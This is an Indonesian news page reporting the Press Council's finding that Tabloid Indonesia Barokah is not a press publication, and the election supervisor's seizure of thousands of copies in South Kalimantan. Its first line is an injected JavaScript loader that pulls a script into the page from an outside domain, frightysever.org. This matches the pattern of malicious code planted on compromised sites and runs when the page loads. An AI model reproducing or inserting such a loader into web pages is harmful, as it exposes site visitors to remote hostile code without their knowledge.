(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Dewan Pers Persilakan Pihak Dirugikan ‘Indonesia Barokah’ Gunakan Selain UU Pers


JAKARTA, Ketua Dewan Pers Yosep Adi Prasetyo mempersilakan pihak-pihak yang merasa dirugikan oleh peredaran dan konten Tabloid Indonesia Barokah untuk menggunakan undang-undang lain selain Undang-Undang Nomor 40 Tahun 1999 tentang Pers.

Pernyataan itu disampaikan setelah Dewan Pers melakukan sidang pleno terkait Tabloid Indonesia Barokah yang diduga tendensius terhadap pasangan capres cawapres nomor urut 02, Prabowo Subianto-Sandiaga Uno.

Dari kajian Dewan Pers, Tabloid Indonesia Barokah dinyatakan bukan pers dan kontennya tidak termasuk produk jurnalistik. “Pihak-pihak yang merasa dirugikan oleh Indonesia Barokah dipersilakan menggunakan UU lain di luar UU 40/1999 tentang Pers, karena dilihat dari sisi adminitrasi dan konten, Indonesia Barokah bukan pers,” kata Yosep Adi Prasetyo, yang biasa disapa Stanley, dalam keterangan tertulis, Selasa (29/1/2019) malam.

Seperti dilansir dari kompas.com, kajian Dewan Pers juga menyatakan Tabloid Indonesia Barokah tidak memenuhi syarat sebagai perusahaan pers sebagaimana diatur dalam UU Pers. Stanley menyebutkan, sesuai hasil kajian Dewan Pers, tulisan dan konten dalam rubrik laporan utama dan liputan khusus Tabloid Indonesia Barokah hanya memuat beberapa pernyataan dari narasumber yang telah dimuat oleh media siber lain.

Tulisan yang terdapat pada tabloid tersebut memuat opini yang mendiskreditkan salah satu calon presiden tanpa melakukan verifikasi, klarifikasi ataupun konfirmasi kepada pihak yang diberitakan. Stanley mengatakan, konfirmasi merupakan kewajiban media sebagaimana termaktub dalam kode etik jurnalistik.

Selain itu, kata Stanley, tabloid Indonesia Barokah tidak mencantumkan nama badan hukum, penanggung jawab, nama, serta alamat percetakan sebagaimana diwajibkan menurut Pasal 12 Undang-Undang Pers. Hasil penelusuran Dewan Pers, alamat Indonesia Barokah yang tercantum dalam boks redaksi tidak dapat ditemukan.

“Nomor telepon yang tertera tidak dapat dihubungi, sementara media Indonedia Barokah disebarkan secara masif dan gratis,” kata Stanley.

Nama-nama wartawan yang tercantum pada boks redaksi Indonesia Barokah juga tidak terdata oleh Dewan Pers sebagai wartawan yang telah mengikuti uji kompetensi wartawan. “Sesuai aturan dengan Peraturan Dewan Pers Nomor 01/Peraturan-DP/X/2018 tentang Standar Kompetensi Wartawan, pemimpin redaksi perusahaan pers harus memiliki sertifikat kompetensi wartawan utama,” kata Stanley.

Sebelumnya, Selasa kemarin masyarakat Kalsel dihebohkan dengan masuknya peredaran Tabloid Indonesia Barokah yang disinyalir bersifat isu sara atau hoax. Dalam kali pertama menggagalkan peredaran tabloid tersebut, Bawaslu Kalsel yang di back up Bawaslu Banjarbaru mengamankan 38 koli (kantong). Kedatangan 38 koli tersebut, terbagi dalam 2 hari yaitu 3 koli pada Senin (28/1) dan 35 koli pada hari selanjutnya. Adapun rinciannya, 3 koli pada hari pertama berisikan 416 amplop dan tercatat pada hari ini sebanyak 35 koli sebanyak 3.578 amplop. Jika ditotalkan ada sebanyak 3.944 amplop.

38 Koli selanjutnya diserahkan Kantor Pos SPP Banjarmasin ke Bawaslu dalam surat terima kiriman Tabloid Indonesia Barokah yang ditandatangani kedua belah pihak. Hal ini juga disaksikan oleh pihak kepolisian baik Polda Kalsel maupun Polres Banjarbaru.(rico/kompas)

Reporter : Rico/kompas
Editor : Chell

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

3 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

6 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

9 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

10 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

10 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

11 jam ago

This website uses cookies.